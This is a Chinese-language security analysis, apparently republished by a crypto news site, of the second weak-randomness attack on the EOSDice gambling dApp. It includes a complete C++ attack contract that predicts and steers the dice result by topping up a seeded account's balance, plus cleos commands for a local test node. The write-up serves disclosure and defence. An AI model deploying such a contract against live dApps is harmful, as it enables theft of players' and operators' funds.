EOS dApp 漏洞盘点-EOSDice弱随机数漏洞二


Written by WeaponX@零时科技

本文所有过程均在本地测试节点完成

文章用到的所有代码均在

0x00 背景

零时科技监测到,EOSDice在2018年11月10日受到黑客攻击,根据EOSDice官方通告,此次攻击共被盗4,633 EOS,约合 2.51 万美元(2018年11月10日价格 1 EOS ≈ 5.42 USD)。

0x01 技术分析

2018年11月3日,也就是一周前,EOSDice因为dApp中存在可被预测随机数漏洞被黑客攻击,在前一篇文章中已经分析过了黑客的攻击手法《》。然而,上次的官方修复仍然存在问题,导致再次被黑客攻击。

我们再来分析一下EOSDice上次遭受攻击后官方的修复方法:

  • 开奖action由一次defer改为两次defer

EOS dApp 漏洞盘点-EOSDice弱随机数漏洞二

我们做了一个示意图,

EOS dApp 漏洞盘点-EOSDice弱随机数漏洞二

可以看到,通过两次defer action开奖的时候,开奖actionrefer block为下注的block,下注前无法预测。

  • 账户的余额用很多账户的总和加起来当成随机数种子

EOS dApp 漏洞盘点-EOSDice弱随机数漏洞二

本次修改看似无懈可击,不过还有一点EOSDice官方没有想到。我们来看看eosio.token的转账代码。

EOS dApp 漏洞盘点-EOSDice弱随机数漏洞二

可以看到,当A账户给B账户转账的时候,转账通知会先发送给A账户,再发送给B账户。那么,黑客可以部署一个攻击合约,当黑客通过此账号来进行游戏的时候,攻击合约肯定先于EOSDice官方合约收到转账通知。黑客可以同样做一个两次defer action来预测随机数

EOS dApp 漏洞盘点-EOSDice弱随机数漏洞二

下图是利用攻击合约预测随机数。

EOS dApp 漏洞盘点-EOSDice弱随机数漏洞二

可以看到,黑客完全可以通过攻击合约来预测随机数的结果。不过,问题来了由于使用了两次defer action进行开奖,那么这个结果是黑客无法在下注前得到的。因此,黑客要对EOSDice进行攻击只能另辟蹊径。

因为EOSDice中,随机数种子是很多账户余额的总和,黑客完全可以通过计算能让黑客稳赢的状态下这个余额的值,然后在给任意账户转账即可控制EOSDice的随机数结果。下面,我们 编写一个测试合约进行试验

#include <utility>
#include <vector>
#include <string>
#include <eosiolib/eosio.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/contract.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/transaction.hpp>
#include <eosiolib/crypto.h>
#include <boost/algorithm/string.hpp>
#include "eosio.token.hpp"

#define EOS_SYMBOL S(4, EOS)

using eosio::asset;
using eosio::permission_level;
using eosio::action;
using eosio::print;
using eosio::name;
using eosio::unpack_action_data;
using eosio::symbol_type;
using eosio::transaction;
using eosio::time_point_sec;


class attack : public eosio::contract {
   public:
       uint64_t id = 66;
       attack(account_name self):eosio::contract(self)
      {}

       uint8_t random(account_name name, uint64_t game_id, uint64_t add)
      {
           auto eos_token = eosio::token(N(eosio.token));
           asset pool_eos = eos_token.get_balance(N(eosbocai2222), symbol_type(S(4, EOS)).name());
           asset ram_eos = eos_token.get_balance(N(eosio.ram), symbol_type(S(4, EOS)).name());
           asset betdiceadmin_eos = eos_token.get_balance(N(betdiceadmin), symbol_type(S(4, EOS)).name());
           asset newdexpocket_eos = eos_token.get_balance(N(newdexpocket), symbol_type(S(4, EOS)).name());
           asset chintailease_eos = eos_token.get_balance(N(chintailease), symbol_type(S(4, EOS)).name());
           asset eosbiggame44_eos = eos_token.get_balance(N(eosbiggame44), symbol_type(S(4, EOS)).name());
           asset total_eos = asset(0, EOS_SYMBOL);

           total_eos = pool_eos + ram_eos + betdiceadmin_eos + newdexpocket_eos + chintailease_eos + eosbiggame44_eos;
           auto amount = total_eos.amount + add;
           auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + amount;
           print("[ATTACK RANDOM]tapos_block_prefix=>",(uint64_t)tapos_block_prefix(),"|tapos_block_num=>",(uint64_t)tapos_block_num(),"|name=>",name,"|game_id=>",game_id,"|current_time=>",current_time(),"|total=>",amount,"n");
       
           const char *mixedChar = reinterpret_cast<const char *>(&mixd);

           checksum256 result;
           sha256((char *)mixedChar, sizeof(mixedChar), &result);

           uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);
           return (uint8_t)(random_num % 100 + 1);
      }

       //@abi action
       void transfer(account_name from,account_name to,asset quantity,std::string memo)
      {
           if (from == N(eosbocai2222))
          {
               return;
          }
           transaction txn{};
           txn.actions.emplace_back(
               action(eosio::permission_level(_self, N(active)),
                   _self,
                   N(reveal1),
                   std::make_tuple(id)
              )
          );
           txn.delay_sec = 2;
           txn.send(now(), _self, false);

           print("[ATTACK] current_time => ", current_time(), "n");
      }

       //@abi action
       void reveal1(uint64_t id)
      {
           transaction txn{};
           txn.actions.emplace_back(
               action(eosio::permission_level(_self, N(active)),
                   _self,
                   N(reveal2),
                   std::make_tuple(id)
              )
          );
           txn.delay_sec = 2;
           txn.send(now(), _self, false);
           print("[ATTACK REVEAL1] current_time => ", current_time(), "n");
      }

       //@abi action
       void reveal2(uint64_t id)
      {
           std::string memo = "noneage";
           print("[ATTACK REVEAL2] current_time => ", current_time(), "n");
       
           for(int i=0;i<=100;i++)
          {
               uint8_t r = random(_self, 87, i);
               if((uint64_t)r < 6)
              {
                   print("[PREDICT RANDOM] random = ", (uint64_t)r, "n");
                   if(i > 0)
                  {
                       action(permission_level(_self, N(active)),
                           N(eosio.token),
                           N(transfer),
                           std::make_tuple(_self, N(eosbiggame44), asset(i, EOS_SYMBOL), memo))
                      .send();
                  }
                   break;
              }
          }
      }  
};

#define EOSIO_ABI_EX( TYPE, MEMBERS )
extern "C" {
  void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
     auto self = receiver;
     if( code == self || code == N(eosio.token)) {
        if( action == N(transfer)){
               eosio_assert( code == N(eosio.token), "Must transfer EOS");
        }
        TYPE thiscontract( self );
        switch( action ) {
           EOSIO_API( TYPE, MEMBERS )
        }
        /* does not allow destructor of thiscontract to run: eosio_exit(0); */
    }
  }
}

EOSIO_ABI_EX( attack,
      (transfer)(reveal1)(reveal2)
)

在这个攻击合约里,我们模仿了EOSDice同样进行了两次defer action。在第二次defer action中,我们计算出随机数小于6的情况下,需要的总余额比原先的增加多少,然后利用一个inline actioneosbiggame44账户转账,因为攻击合约先于EOSDice官方合约执行,所以最终控制了EOSDice的随机数结果。

测试流程:

  1. 创建相关账户并设置权限

# 攻击者账户
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission attacker active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"attacker","permission":"eosio.code"},"weight":1}]}' owner -p attacker@owner
# EOSDice 官方账户
cleos create account eosio eosbocai2222 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission eosbocai2222 active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"eosbocai2222","permission":"eosio.code"},"weight":1}]}' owner -p eosbocai2222@owner
# 其他需要的账户
cleos create account eosio eosio.ram EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio betdiceadmin EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio newdexpocket EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio chintailease EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio eosbiggame44 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
  1. 向相关账户充值

cleos push action eosio.token issue '["attacker", "1000.0000 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosbocai2222", "232323.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosio.ram", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["betdiceadmin", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["newdexpocket", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["chintailease", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosbiggame44", "23.2333 EOS", "1"]' -p eosio
  1. 编译相关合约并部署

# 编译攻击合约
eosiocpp -o attack.wast attack.cpp
eosiocpp -g attack.abi attack.cpp
# 部署攻击合约
cleos set contract ~/attack -p attack@owner

# 编译EOSDICE合约
eosiocpp -o eosdice.wast eosbocai2222.cpp
eosiocpp -g eosdice.abi eosbocai2222.cpp
# 部署EOSDICE合约
cleos set code eosbocai2222 eosdice.wasm -p eosbocai2222@owner
cleos set abi eosbocai2222 eosdice.abi -p eosbocai2222@owner
  1. 编译相关合约并部署

cleos push action eosbocai2222 init '[""]' -p eosbocai2222
  1. 进行游戏

cleos push action eosio.token transfer '["attacker","eosbocai2222","1.0000 EOS", "dice-8-6-user"]' -p attacker@owner

然后,我们来看看测试结果

EOS dApp 漏洞盘点-EOSDice弱随机数漏洞二

经过攻击合约多次计算,找到只需要余额比之前多0.0021 EOS即可让本次投注中奖,然后再向eosbiggame44转入了0.0021 EOS,最终中奖,获得了19.7000 EOS(投入1 EOS)。

可以看到,利用攻击合约来控制EOSDice的随机数,可以达到必中的效果!

0x02 官方修复

官方修复很简单,在随机数算法中将账户余额这个可控因子删除了。

EOS dApp 漏洞盘点-EOSDice弱随机数漏洞二

上述的攻击合约便无法通过转账控制随机数的结果。

0x03 推荐修复

如何得到安全的随机数是一个普遍的难题,但是在EOS上尤其困难,因为EOS并不提供随机数接口。所以随机数的种子必须得自己选择,选择种子的准则就是无法被提前预知。零时科技安全专家推荐参考EOS官方的随机数生成方法来生成较为安全的随机数

0x04 REFER

作者:刺猬财经,仅作分享,存在异议请联系平台删除。本文观点不代表刺猬财经 - 刺猬区块链资讯站立场。